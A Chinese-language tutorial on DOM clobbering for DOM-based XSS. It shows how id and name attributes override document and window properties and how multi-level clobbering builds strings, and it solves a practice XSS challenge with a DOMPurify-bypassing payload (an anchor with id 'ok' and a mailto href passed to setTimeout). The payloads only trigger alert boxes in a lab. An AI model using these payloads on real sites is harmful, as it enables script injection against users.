什么是DOM clobbering
对于安全来说DOM clobbering主要是用来进行DOM型的XSS攻击,其可以篡改JS函数原本的属性恶意插入一些XSS代码到页面的JS中去,它的特征就是利用了元素配置id或name属性后可以使用包括document、window、自己名称的形式进行访问。其可以对document的属性进行恶意的替换。从而影响dom树的结构造成破坏。也是这一特性让它有了DOM COLBBERING这个名号。
2引入实例
2.1不同函数下的引用结果
测试代码:

打印结果:

直接打印x和y时,打印结果为<img id="x">和<img name="y">;
使用document进行引用打印时,x的值未找到,打印出y的值<img name="y">
使用window进行引用打印时,x和y的输出结果与直接引用x和y的值相同。
分析:
id和name中的值可以直接引用,引用的值即为标签的全部,但使用document可进行name引用,不可进行id引用。
2.2 cookie值的覆盖

由上图可知cookie的值确实被覆盖了
分析:
首先cookie的值为空,使用createElement函数创建了一个<div>标签,然后给<div>标签中加入<img name="cookie">的值,再然后使用appendChild函数将<div><img name="cookie"></div>语句插入到body语句当中,之后调用cookie的值发现cookie值被覆盖。
2.3 使用多层覆盖document.body.appendChild方法
覆盖语句:

执行结果:

打印出document.body.appendChild的结果为<img id="appendChild" >
分析:
使用form嵌套<img>方法进行了双层覆盖,先通过name="body"将form表单引入到body中再通过img的id="appendChild"将document.body.appendChild方法劫持。从而达到双层覆盖的目的。
2.4 字符串覆盖写入
既然我们可以通过这种方式去创建或覆盖document或者widow对象的某些值,但是看起来我们举的例子只是利用标签创建或覆盖最终得到的也是标签,是一个HTMLElment对象。但对于大多数情况来说,我们可能更需要将其转换成一个可控的字符串类型,以便于我们进行操作。
所以我们可以通过以下代码进行筛选得到可以通过toString方法将其转换成字符串类型的标签:
Object.getOwnPropertyNames(window) //通过getOwnPropertyNames函数获取object自身的属性名称
.filter(p => p.match(/Element$/)) //filter是一个过滤函数,过滤出含Element结尾的函数
.map(p => window[p]) //使用map将过滤的函数所有的window元素拿出来
.filter(p => p && p.prototype && p.prototype.toString
!== Object.prototype.toString) //通常Object上的tostring方法返回的值是一个对象,
此句表示继续筛选使原型链上tostring方法与Object上的toString方法不相同,
即需要保证筛选出的p.prototype.toString返回的值为非对象
执行结果:

这里执行代码后得到了两个object的值分别为HTMLAreaElement()和HTMLAnchorElement(),这两个标签其实分别为<area>及<a>这两个方法返回的值为非对象(字符串), 我们可以通过href属性利用这两个标签进行字符串的转换。
测试:
我们分别使用<a>和<img>标签进行弹窗实验
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a id="x" href="aaaa:bbbb">
<img id="y">
<script>
alert(x); //这里的alert会执行object的toString方法
alert(y);
</script>
</body>
</html>
执行结果:


<a>标签弹窗执行的值为 href中的字符串,而<img>标签弹窗返回的值为一个object对象。
2.4.1复现实际的xss漏洞
漏洞地址:https://xss.pwnfunction.com/warmups/ok-boomer/
源码

分析:
此漏洞要求实现弹窗注入,使用了DOMPurify工具进行了xss过滤。
图中框示ok为注入点,但是这里的ok为setTimeout()函数的第一个选项,此函数第一个选项不能为对象只能为函数或字符串,故大部分的弹窗函数将失效,所以我们可以通过上文所学可以通过<a>的的href属性将弹窗语句转换成字符串进行注入。
错误payload:
boomer=<a id="ok" href="javascript:alert(1)"></a>
注入结果:

弹窗失败
失败分析:
可能是由于payload中的弹窗函数被DOMPurify工具过滤了,导致无法弹窗。
查看DOMPurify工具源码:https://github.com/cure53/DOMPurify/blob/main/src/regexp.js

通过源码可知这里DOMPurify做了个白名单允许通过的url协议:ftps|https|mailto|tel|callto|sms|cid|xmpp 就是将javascript函数给过滤了,不过我们可以通过其给出的白名单函数重新编写payload
payload:
boomer=<a id="ok" href="mailto:alert(1)">
//这里的白名单函数我试到mailto就成功了,大家有兴趣可以尝试其他的,这里不做测试。
原理:
由于注入点在setTimeout()函数的第一个选项,此函数第一个选项不能为对象只能为函数或字符串,所以这里通过源码中的ok劫持了<a>标签将<a>标签中的href属性转换含有白名单函数的字符串,成功注入到OK的位置上实现了弹窗。
执行结果:

弹窗成功
2.5通过自定义方法写入双层字符 HTMLCOLLECTION
如果我们面对的是双层结构该怎么办?我们可以通过双层字符进行覆盖
代码:
<div id="x">
<a id="y" href="aaaa:1111"></a>
</div>
</body>
<script>
alert(x.y);
</script>
执行结果:

这里无论第一个标签怎么组合,得到的结果都只有undefined。所以说标签不能乱取。
正确的双层结构代码:
<div id="x">
<a id="x" name="y" href="aaaa:1111"></a>
</div>
</body>
<script>
alert(x.y);
</script>
执行结果:

确实拿到了字符串。这是为什么那?
分析:
2.5.1查看各部分分别是什么
打印x代码:
<div id="x">
<a id="x" name="y" href="aaaa:1111"></a>
</div>
</body>
<script>
console.log(x);
console.log(x.x)
console.log(x.y)
</script>
打印结果:

可以看到这里的第一层x是一个集合,集合中的x为<div>中的值,y为<a>标签中的值;
x下的第二层x为<div>标签中的所有值;
x下的第二次y为<a>标签下的所有值。
这也就解释了为什么这样书写可以通过双层字符拿到字符串了。
注意:这里使用火狐浏览器测试时产生了问题

火狐拒绝了集合的定义,返回第一层的x是<div>标签属性。那么这样的话写入双层字符就会失败。
方法二
将所有的标签进行循环筛选将可以写入双层字符的标签对筛选出来

筛选出的标签对有
form-button
form-fieldset
form-image
form-img
form-input
form-object
form-output
form-select
form-textarea
测试:

测试结果:

弹窗成功
2.6 写入三层字符
代码:
<body>
<form id="x" name="y"><output id="z">I HAVE BEEN COLBBERED</output></form>
<form id="x"></form>
</body>
<script>
alert(x.y.z.value);
</script>
执行结果:

三层写入成功
分析:
其实三层写入和双层写入的原理基本相同,首先使用<form>表单id=x做一个集合,然后通过x.y.z将 的元素中的字符串一层层的提取出来。
注意:同样的通过火狐进行弹窗实验失败。